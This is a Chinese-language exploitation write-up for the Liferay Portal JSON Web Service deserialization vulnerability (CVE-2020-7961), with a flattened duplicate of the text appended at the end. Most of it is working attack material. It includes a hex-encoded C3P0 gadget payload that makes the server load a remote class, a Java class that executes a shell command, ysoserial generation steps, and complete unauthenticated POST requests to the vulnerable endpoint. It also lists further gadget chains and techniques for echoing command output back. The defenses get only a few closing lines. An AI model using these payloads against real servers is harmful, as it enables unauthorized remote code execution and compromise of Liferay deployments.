浅谈Liferay Portal JSON Web Service未授权反序列化远程代码执行漏洞
字数 1816 2025-08-25 22:58:28

Liferay Portal JSON Web Service 未授权反序列化远程代码执行漏洞(CVE-2020-7961)深度分析与利用

漏洞概述

Liferay Portal 是一款开源的企业级门户产品,提供对多个独立系统的内容集成。该漏洞存在于其JSON Web Service中,允许未授权攻击者通过精心构造的恶意数据进行反序列化攻击,最终实现远程代码执行。

漏洞编号:

  • CVE-2020-7961
  • LPS-88051/LPE-165981

威胁等级: 高危

影响版本:

  • Liferay Portal 6.1.X
  • Liferay Portal 6.2.X
  • Liferay Portal 7.0.X
  • Liferay Portal 7.1.X
  • Liferay Portal 7.2.X

漏洞成因分析

Liferay Portal 主要存在两个版本分支的漏洞:

  1. 6.X版本:使用Flexjson进行JSON数据处理
  2. 7.X版本:使用Jodd Json进行JSON数据处理

虽然底层JSON处理库不同,但攻击payload是通用的,不需要区分版本。

Flexjson反序列化漏洞

环境搭建

使用Maven导入Flexjson依赖:

<dependency>
    <groupId>net.sf.flexjson</groupId>
    <artifactId>flexjson</artifactId>
    <version>3.1</version>
</dependency>

基本使用

JSONDeserializer jsonDeserializer = new JSONDeserializer();
try {
    jsonDeserializer.deserialize(json);
} catch (Exception e) {
    e.printStackTrace();
}

可利用的Gadget Chains

Flexjson没有严格的黑名单机制,以下Gadget可用:

  1. javax.swing.JEditorPane - 可用于SSRF探测
  2. com.mchange.v2.c3p0.WrapperConnectionPoolDataSource - 主要利用类
  3. com.sun.rowset.JdbcRowSetImpl - JNDI注入

C3P0 Gadget利用示例

String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;\"}";

恶意类构造

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process p = Runtime.getRuntime().exec("open -a calculator");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    
    public static void main(String[] args) throws Exception {
    }
}

序列化文件生成与转换

  1. 使用ysoserial生成序列化文件:
java -jar ysoserial.jar C3P0 "http://127.0.0.1/:ExportObject" > 1.ser
  1. 将序列化文件转换为Hex编码:
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class Echo3 {
    public Echo3() {
    }

    public static void main(String[] args) throws IOException {
        InputStream in = new FileInputStream("/Users/xue/Documents/NetSafe/Tools/JavaTools/1.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, 4984);
        System.out.println(HexString);
    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[4096];
        boolean var3 = false;
        int n;
        while((n = in.read(buffer)) != -1) {
            out.write(buffer, 0, n);
        }
        return out.toByteArray();
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);
        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

    public static String bytesToHexFun3(byte[] bytes) {
        StringBuilder buf = new StringBuilder(bytes.length * 2);
        byte[] arr$ = bytes;
        int len$ = bytes.length;
        for(int i$ = 0; i$ < len$; ++i$) {
            byte b = arr$[i$];
            buf.append(String.format("%02x", new Integer(b & 255)));
        }
        return buf.toString();
    }
}

Liferay Portal漏洞利用

环境搭建

  1. 下载官方集成tomcat的环境:
    https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z

  2. 解压后进入目录:
    liferay-ce-portal-7.1.2-ga3/tomcat-9.0.10/bin

  3. 启动环境:
    ./catalina.sh run

漏洞利用报文构造

基本请求格式:

POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded

defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:class类名=json数据&columnId=1

C3P0利用示例

POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded

defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;"}&columnId=1

可利用的Gadget Chains

  1. com.mchange.v2.c3p0.WrapperConnectionPoolDataSource (C3P0)
  2. org.apache.commons.beanutils.BeanComparator (CommonsBeanutils1)
  3. org.apache.commons.collections4.comparators.TransformingComparator (CommonsCollections10)

回显构造技术

方法1:获取Liferay Portal的context

com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext();

注意:7.X版本的context包名与6.X版本不一致。

方法2:Tomcat全局request/response

适用于中间件为Tomcat的环境。

方法3:Unix通杀回显

适用于Unix系统环境。

回显实现方式

  1. C3P0序列化加载hex字节码不出网回显
  2. C3P0远程调用恶意类回显
  3. com.sun.rowset.JdbcRowSetImpl JNDI注入回显

对于JNDI注入回显,可以将序列化文件转为base64,使用javaSerializedData解码。

防御措施

  1. 升级到已修复版本
  2. 限制对/api/jsonws/端点的访问
  3. 实施输入验证和过滤
  4. 使用安全的JSON反序列化库
  5. 实施网络层防护措施

参考链接

  1. https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
  2. https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
Liferay Portal JSON Web Service 未授权反序列化远程代码执行漏洞(CVE-2020-7961)深度分析与利用 漏洞概述 Liferay Portal 是一款开源的企业级门户产品,提供对多个独立系统的内容集成。该漏洞存在于其JSON Web Service中,允许未授权攻击者通过精心构造的恶意数据进行反序列化攻击,最终实现远程代码执行。 漏洞编号 : CVE-2020-7961 LPS-88051/LPE-165981 威胁等级 : 高危 影响版本 : Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Portal 7.2.X 漏洞成因分析 Liferay Portal 主要存在两个版本分支的漏洞: 6.X版本 :使用Flexjson进行JSON数据处理 7.X版本 :使用Jodd Json进行JSON数据处理 虽然底层JSON处理库不同,但攻击payload是通用的,不需要区分版本。 Flexjson反序列化漏洞 环境搭建 使用Maven导入Flexjson依赖: 基本使用 可利用的Gadget Chains Flexjson没有严格的黑名单机制,以下Gadget可用: javax.swing.JEditorPane - 可用于SSRF探测 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource - 主要利用类 com.sun.rowset.JdbcRowSetImpl - JNDI注入 C3P0 Gadget利用示例 恶意类构造 序列化文件生成与转换 使用ysoserial生成序列化文件: 将序列化文件转换为Hex编码: Liferay Portal漏洞利用 环境搭建 下载官方集成tomcat的环境: https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z 解压后进入目录: liferay-ce-portal-7.1.2-ga3/tomcat-9.0.10/bin 启动环境: ./catalina.sh run 漏洞利用报文构造 基本请求格式: C3P0利用示例 可利用的Gadget Chains com.mchange.v2.c3p0.WrapperConnectionPoolDataSource (C3P0) org.apache.commons.beanutils.BeanComparator (CommonsBeanutils1) org.apache.commons.collections4.comparators.TransformingComparator (CommonsCollections10) 回显构造技术 方法1:获取Liferay Portal的context 注意:7.X版本的context包名与6.X版本不一致。 方法2:Tomcat全局request/response 适用于中间件为Tomcat的环境。 方法3:Unix通杀回显 适用于Unix系统环境。 回显实现方式 C3P0序列化加载hex字节码不出网回显 C3P0远程调用恶意类回显 com.sun.rowset.JdbcRowSetImpl JNDI注入回显 对于JNDI注入回显,可以将序列化文件转为base64,使用 javaSerializedData 解码。 防御措施 升级到已修复版本 限制对 /api/jsonws/ 端点的访问 实施输入验证和过滤 使用安全的JSON反序列化库 实施网络层防护措施 参考链接 https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_ publisher/HbL5mxmVrnXW/content/id/117954271